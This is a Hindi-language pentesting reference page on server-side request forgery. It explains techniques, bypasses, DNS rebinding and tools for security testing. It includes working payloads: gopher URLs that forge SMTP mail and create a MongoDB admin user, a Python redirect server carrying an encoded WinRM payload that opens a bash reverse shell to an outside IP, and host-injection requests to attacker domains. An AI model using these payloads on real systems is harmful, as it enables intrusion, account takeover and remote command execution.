41 KiB
SSRF (Server Side Request Forgery)
Trickest का उपयोग करें ताकि आप दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित कार्यप्रवाहों को आसानी से बना और स्वचालित कर सकें।
आज ही एक्सेस प्राप्त करें:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमसे जुड़ें 💬 Discord समूह या टेलीग्राम समूह या हमारा अनुसरण करें Twitter 🐦 @hacktricks_live.
- हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PR सबमिट करके।
मूल जानकारी
एक सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) भेद्यता तब होती है जब एक हमलावर एक सर्वर-साइड एप्लिकेशन को अपने पसंद के डोमेन पर HTTP अनुरोध करने के लिए हेरफेर करता है। यह भेद्यता सर्वर को हमलावर द्वारा निर्देशित मनमाने बाहरी अनुरोधों के लिए उजागर करती है।
SSRF कैप्चर करें
आपको जो पहला काम करना है वह है एक SSRF इंटरैक्शन को कैप्चर करना जो आपने उत्पन्न किया है। HTTP या DNS इंटरैक्शन को कैप्चर करने के लिए आप निम्नलिखित उपकरणों का उपयोग कर सकते हैं:
- Burp Collaborator
- pingb
- canarytokens
- interractsh
- http://webhook.site
- https://github.com/teknogeek/ssrf-sheriff
- http://requestrepo.com/
- https://github.com/stolenusername/cowitness
- https://github.com/dwisiswant0/ngocok - एक Burp Collaborator जो ngrok का उपयोग करता है
व्हाइटलिस्टेड डोमेन बायपास
आमतौर पर आप पाएंगे कि SSRF केवल कुछ व्हाइटलिस्टेड डोमेन या URL में काम कर रहा है। निम्नलिखित पृष्ठ में आपके पास उस व्हाइटलिस्ट को बायपास करने के लिए तकनीकों का संकलन है:
{% content-ref url="url-format-bypass.md" %} url-format-bypass.md {% endcontent-ref %}
ओपन रीडायरेक्ट के माध्यम से बायपास
यदि सर्वर सही तरीके से सुरक्षित है तो आप वेब पृष्ठ के अंदर एक ओपन रीडायरेक्ट का लाभ उठाकर सभी प्रतिबंधों को बायपास कर सकते हैं। क्योंकि वेबपृष्ठ समान डोमेन के लिए SSRF की अनुमति देगा और शायद रीडायरेक्ट का पालन करेगा, आप ओपन रीडायरेक्ट का लाभ उठाकर सर्वर को आंतरिक किसी भी संसाधन तक पहुंचने के लिए मजबूर कर सकते हैं।
यहां और पढ़ें: https://portswigger.net/web-security/ssrf
प्रोटोकॉल
- file://
- URL स्कीम
file://
का संदर्भ दिया गया है, जो सीधे/etc/passwd
की ओर इशारा करता है:file:///etc/passwd
- dict://
- DICT URL स्कीम को DICT प्रोटोकॉल के माध्यम से परिभाषाओं या शब्द सूचियों तक पहुंचने के लिए उपयोग किया जाता है। एक उदाहरण दिया गया है जो एक विशिष्ट शब्द, डेटाबेस, और प्रविष्टि संख्या को लक्षित करने वाले एक निर्मित URL को दर्शाता है, साथ ही एक PHP स्क्रिप्ट का उदाहरण जो हमलावर द्वारा प्रदान किए गए क्रेडेंशियल्स का उपयोग करके DICT सर्वर से कनेक्ट करने के लिए संभावित रूप से दुरुपयोग किया जा सकता है:
dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
- SFTP://
- इसे सुरक्षित शेल के माध्यम से सुरक्षित फ़ाइल स्थानांतरण के लिए एक प्रोटोकॉल के रूप में पहचाना गया है, एक उदाहरण दिया गया है जो दिखाता है कि एक PHP स्क्रिप्ट को एक दुर्भावनापूर्ण SFTP सर्वर से कनेक्ट करने के लिए कैसे दुरुपयोग किया जा सकता है:
url=sftp://generic.com:11111/
- TFTP://
- ट्रिवियल फ़ाइल स्थानांतरण प्रोटोकॉल, जो UDP पर संचालित होता है, का उल्लेख किया गया है जिसमें एक PHP स्क्रिप्ट का उदाहरण है जो TFTP सर्वर को अनुरोध भेजने के लिए डिज़ाइन किया गया है। 'generic.com' पर '12346' पोर्ट के लिए फ़ाइल 'TESTUDPPACKET' के लिए एक TFTP अनुरोध किया गया है:
ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
- LDAP://
- यह खंड लाइटवेट डायरेक्टरी एक्सेस प्रोटोकॉल को कवर करता है, जो IP नेटवर्क पर वितरित निर्देशिका सूचना सेवाओं का प्रबंधन और पहुंच के लिए इसके उपयोग पर जोर देता है। लोकलहोस्ट पर LDAP सर्वर के साथ इंटरैक्ट करें:
'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
- SMTP
- एक विधि का वर्णन किया गया है जो SSRF भेद्यताओं का लाभ उठाकर लोकलहोस्ट पर SMTP सेवाओं के साथ इंटरैक्ट करने के लिए है, जिसमें आंतरिक डोमेन नामों को प्रकट करने और उस जानकारी के आधार पर आगे की जांच करने के लिए कदम शामिल हैं।
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
- Curl URL globbing - WAF बायपास
- यदि SSRF curl द्वारा निष्पादित किया जाता है, तो curl में URL globbing नामक एक विशेषता है जो WAFs को बायपास करने के लिए उपयोगी हो सकती है। उदाहरण के लिए, इस writeup में आप
file
प्रोटोकॉल के माध्यम से पथ ट्रैवर्सल के लिए यह उदाहरण पा सकते हैं:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
- Gopher://
- Gopher प्रोटोकॉल की क्षमता IP, पोर्ट और सर्वर संचार के लिए बाइट्स निर्दिष्ट करने की चर्चा की गई है, साथ ही Gopherus और remote-method-guesser जैसे उपकरणों का उपयोग करके पेलोड बनाने के लिए। दो अलग-अलग उपयोगों को दर्शाया गया है:
Gopher://
इस प्रोटोकॉल का उपयोग करके आप IP, पोर्ट और बाइट्स निर्दिष्ट कर सकते हैं जिन्हें आप चाहते हैं कि सर्वर भेजे। फिर, आप मूल रूप से एक SSRF का लाभ उठाकर किसी भी TCP सर्वर के साथ संवाद कर सकते हैं (लेकिन आपको पहले सेवा से बात करना जानना होगा)।
भाग्यवश, आप Gopherus का उपयोग करके कई सेवाओं के लिए पेलोड बना सकते हैं। इसके अतिरिक्त, remote-method-guesser का उपयोग Java RMI सेवाओं के लिए gopher पेलोड बनाने के लिए किया जा सकता है।
Gopher smtp
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT
गोफर HTTP
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
गोफर SMTP — 1337 पर बैक कनेक्ट
{% code title="redirect.php" %}
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.
{% endcode %}
Gopher MongoDB -- उपयोगकर्ता बनाएं जिसका उपयोगकर्ता नाम=admin, पासवर्ड=admin123 और अनुमति=administrator हो
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'
SSRF via Referrer header & Others
सर्वरों पर एनालिटिक्स सॉफ़्टवेयर अक्सर आने वाले लिंक को ट्रैक करने के लिए Referrer हेडर को लॉग करता है, एक प्रथा जो अनजाने में अनुप्रयोगों को Server-Side Request Forgery (SSRF) कमजोरियों के लिए उजागर करती है। इसका कारण यह है कि ऐसा सॉफ़्टवेयर Referrer हेडर में उल्लिखित बाहरी URL पर जाने के लिए जा सकता है ताकि संदर्भ साइट की सामग्री का विश्लेषण किया जा सके। इन कमजोरियों को उजागर करने के लिए, Burp Suite प्लगइन "Collaborator Everywhere" की सिफारिश की जाती है, जो एनालिटिक्स उपकरणों द्वारा Referer हेडर को संसाधित करने के तरीके का लाभ उठाता है ताकि संभावित SSRF हमले की सतहों की पहचान की जा सके।
SSRF via SNI data from certificate
एक गलत कॉन्फ़िगरेशन जो किसी भी बैकएंड के साथ कनेक्शन को सक्षम कर सकता है, एक सरल सेटअप के माध्यम से एक उदाहरण Nginx कॉन्फ़िगरेशन के साथ दर्शाया गया है:
stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}
इस कॉन्फ़िगरेशन में, सर्वर नाम संकेत (SNI) फ़ील्ड से मान को सीधे बैकएंड के पते के रूप में उपयोग किया जाता है। यह सेटअप सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के लिए एक भेद्यता को उजागर करता है, जिसे केवल SNI फ़ील्ड में इच्छित IP पते या डोमेन नाम को निर्दिष्ट करके शोषित किया जा सकता है। एक शोषण उदाहरण जो openssl
कमांड का उपयोग करके किसी मनमाने बैकएंड, जैसे internal.host.com
, से कनेक्शन को मजबूर करता है, नीचे दिया गया है:
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
Wget फ़ाइल अपलोड
कमांड इंजेक्शन के साथ SSRF
एक पेलोड आज़माने लायक हो सकता है जैसे: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`
PDFs रेंडरिंग
यदि वेब पृष्ठ स्वचालित रूप से आपके द्वारा प्रदान की गई कुछ जानकारी के साथ एक PDF बना रहा है, तो आप कुछ JS डाल सकते हैं जो PDF निर्माता (सर्वर) द्वारा PDF बनाते समय निष्पादित किया जाएगा और आप SSRF का दुरुपयोग कर सकेंगे। यहाँ अधिक जानकारी प्राप्त करें.
SSRF से DoS तक
कई सत्र बनाएं और सत्रों से SSRF का लाभ उठाते हुए भारी फ़ाइलें डाउनलोड करने का प्रयास करें।
SSRF PHP फ़ंक्शन
कमजोर PHP और यहां तक कि वर्डप्रेस फ़ंक्शंस के लिए निम्नलिखित पृष्ठ की जांच करें:
{% content-ref url="../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md" %} php-ssrf.md {% endcontent-ref %}
Gopher के लिए SSRF रीडायरेक्ट
कुछ शोषणों के लिए आपको रीडायरेक्ट प्रतिक्रिया भेजने की आवश्यकता हो सकती है (संभवतः गॉफ़र जैसे विभिन्न प्रोटोकॉल का उपयोग करने के लिए)। यहाँ आपके पास रीडायरेक्ट के साथ प्रतिक्रिया देने के लिए विभिन्न पायथन कोड हैं:
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()
httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)
@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)
if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
Trickest का उपयोग करें ताकि आप दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित वर्कफ़्लो को आसानी से बना और स्वचालित कर सकें।
आज ही एक्सेस प्राप्त करें:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
SSRF के लिए गलत कॉन्फ़िगर किए गए प्रॉक्सी
Flask
Flask प्रॉक्सी कमजोर कोड
```python from flask import Flask from requests import getapp = Flask('main') SITE_NAME = 'https://google.com'
@app.route('/', defaults={'path': ''}) @app.route('/path:path')
def proxy(path): return get(f'{SITE_NAME}{path}').content
if name == "main": app.run(threaded=False)
</details>
Flask **`@`** को प्रारंभिक वर्ण के रूप में उपयोग करने की अनुमति देता है, जो **प्रारंभिक होस्ट नाम को उपयोगकर्ता नाम** बनाने और एक नया इंजेक्ट करने की अनुमति देता है। हमले का अनुरोध:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
Spring Boot
कमजोर कोड:
यह पता चला कि एक अनुरोध के पथ की शुरुआत ;
अक्षर से करना संभव है, जो फिर @
का उपयोग करने और एक नए होस्ट को इंजेक्ट करने की अनुमति देता है। हमले का अनुरोध:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
PHP Built-in Web Server
कमजोर PHP कोड
```php $proxy_site = $site.$current_uri; var_dump($proxy_site);echo "\n\n";
$response = file_get_contents($proxy_site); var_dump($response); ?>
</details>
PHP **यूआरएल के पथ में स्लैश से पहले `*` वर्ण** के उपयोग की अनुमति देता है, हालाँकि, इसके अन्य सीमाएँ हैं जैसे कि इसे केवल रूट पथनाम `/` के लिए उपयोग किया जा सकता है और पहले स्लैश से पहले बिंदुओं `.` की अनुमति नहीं है, इसलिए उदाहरण के लिए, एक बिंदु रहित-हेक्स एन्कोडेड आईपी पते का उपयोग करना आवश्यक है:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
DNS Rebidding CORS/SOP बायपास
यदि आपको CORS/SOP के कारण स्थानीय IP से सामग्री निकालने में समस्या हो रही है, तो DNS Rebidding का उपयोग उस सीमा को बायपास करने के लिए किया जा सकता है:
{% content-ref url="../cors-bypass.md" %} cors-bypass.md {% endcontent-ref %}
स्वचालित DNS Rebidding
Singularity of Origin
एक उपकरण है जो DNS rebinding हमलों को करने के लिए है। इसमें हमलावर के DNS नाम के IP पते को लक्षित मशीन के IP पते पर फिर से बाइंड करने और लक्षित मशीन पर कमजोर सॉफ़्टवेयर का शोषण करने के लिए हमले के पेलोड को सर्व करने के लिए आवश्यक घटक शामिल हैं।
सार्वजनिक रूप से चल रहे सर्वर पर भी देखें http://rebind.it/singularity.html
DNS Rebidding + TLS सत्र ID/सत्र टिकट
आवश्यकताएँ:
- SSRF
- आउटबाउंड TLS सत्र
- स्थानीय पोर्ट पर सामग्री
हमला:
- उपयोगकर्ता/बॉट से एक डोमेन तक पहुँच करने के लिए कहें जो हमलावर द्वारा नियंत्रित है।
- DNS का TTL 0 सेकंड है (इसलिए पीड़ित जल्द ही डोमेन के IP की जांच करेगा)।
- पीड़ित और हमलावर के डोमेन के बीच एक TLS कनेक्शन बनाया जाता है। हमलावर सत्र ID या सत्र टिकट के अंदर पेलोड पेश करता है।
- डोमेन अपने खिलाफ अनंत लूप के रीडायरेक्ट शुरू करेगा। इसका लक्ष्य उपयोगकर्ता/बॉट को डोमेन तक पहुँचाना है जब तक कि वह फिर से डोमेन का DNS अनुरोध न करे।
- DNS अनुरोध में अब एक निजी IP पता दिया जाता है (उदाहरण के लिए 127.0.0.1)।
- उपयोगकर्ता/बॉट TLS कनेक्शन को फिर से स्थापित करने की कोशिश करेगा और ऐसा करने के लिए वह सत्र ID/टिकट ID (जहाँ पेलोड था) भेजेगा। तो बधाई हो, आपने उपयोगकर्ता/बॉट को खुद पर हमला करने के लिए कहने में सफलता प्राप्त की।
ध्यान दें कि इस हमले के दौरान, यदि आप localhost:11211 (memcache) पर हमला करना चाहते हैं, तो आपको पीड़ित को www.attacker.com:11211 के साथ प्रारंभिक कनेक्शन स्थापित करने के लिए कहना होगा ( पोर्ट हमेशा समान होना चाहिए)।
इस हमले को करने के लिए आप उपकरण का उपयोग कर सकते हैं: https://github.com/jmdx/TLS-poison/
अधिक जानकारी के लिए उस वार्ता को देखें जहाँ इस हमले को समझाया गया है: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference
ब्लाइंड SSRF
ब्लाइंड SSRF और नॉन-ब्लाइंड SSRF के बीच का अंतर यह है कि ब्लाइंड में आप SSRF अनुरोध का उत्तर नहीं देख सकते। फिर, इसे शोषण करना अधिक कठिन है क्योंकि आप केवल ज्ञात कमजोरियों का शोषण कर पाएंगे।
समय आधारित SSRF
सर्वर से प्रतिक्रियाओं का समय जांचने से यह जानना संभव हो सकता है कि कोई संसाधन मौजूद है या नहीं (शायद एक मौजूदा संसाधन तक पहुँचने में अधिक समय लगता है बनिस्बत एक ऐसा संसाधन जो मौजूद नहीं है)।
क्लाउड SSRF शोषण
यदि आप एक मशीन में SSRF कमजोरी पाते हैं जो एक क्लाउड वातावरण के अंदर चल रही है, तो आप क्लाउड वातावरण के बारे में दिलचस्प जानकारी और यहां तक कि क्रेडेंशियल्स प्राप्त कर सकते हैं:
{% content-ref url="cloud-ssrf.md" %} cloud-ssrf.md {% endcontent-ref %}
SSRF कमजोर प्लेटफार्म
कई ज्ञात प्लेटफार्मों में SSRF कमजोरियाँ होती हैं या रही हैं, उन्हें देखें:
{% content-ref url="ssrf-vulnerable-platforms.md" %} ssrf-vulnerable-platforms.md {% endcontent-ref %}
उपकरण
SSRFMap
SSRF कमजोरियों का पता लगाने और शोषण करने के लिए उपकरण
Gopherus
यह उपकरण Gopher पेलोड उत्पन्न करता है:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
remote-method-guesser
remote-method-guesser एक Java RMI कमजोरियों का स्कैनर है जो अधिकांश सामान्य Java RMI कमजोरियों के लिए हमले के संचालन का समर्थन करता है। उपलब्ध अधिकांश संचालन --ssrf
विकल्प का समर्थन करते हैं, जो अनुरोधित संचालन के लिए SSRF पेलोड उत्पन्न करता है। --gopher
विकल्प के साथ, सीधे उपयोग के लिए gopher पेलोड उत्पन्न किए जा सकते हैं।
SSRF Proxy
SSRF Proxy एक मल्टी-थ्रेडेड HTTP प्रॉक्सी सर्वर है जिसे सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) के प्रति संवेदनशील HTTP सर्वरों के माध्यम से क्लाइंट HTTP ट्रैफ़िक को टनल करने के लिए डिज़ाइन किया गया है।
अभ्यास करने के लिए
{% embed url="https://github.com/incredibleindishell/SSRF_Vulnerable_Lab" %}
संदर्भ
- https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या Twitter पर हमें फॉलो करें 🐦 @hacktricks_live.**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PR सबमिट करें।
Trickest का उपयोग करें ताकि आप आसानी से वर्कफ़्लो बना सकें और स्वचालित कर सकें जो दुनिया के सबसे उन्नत सामुदायिक उपकरणों द्वारा संचालित हैं।
आज ही एक्सेस प्राप्त करें:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}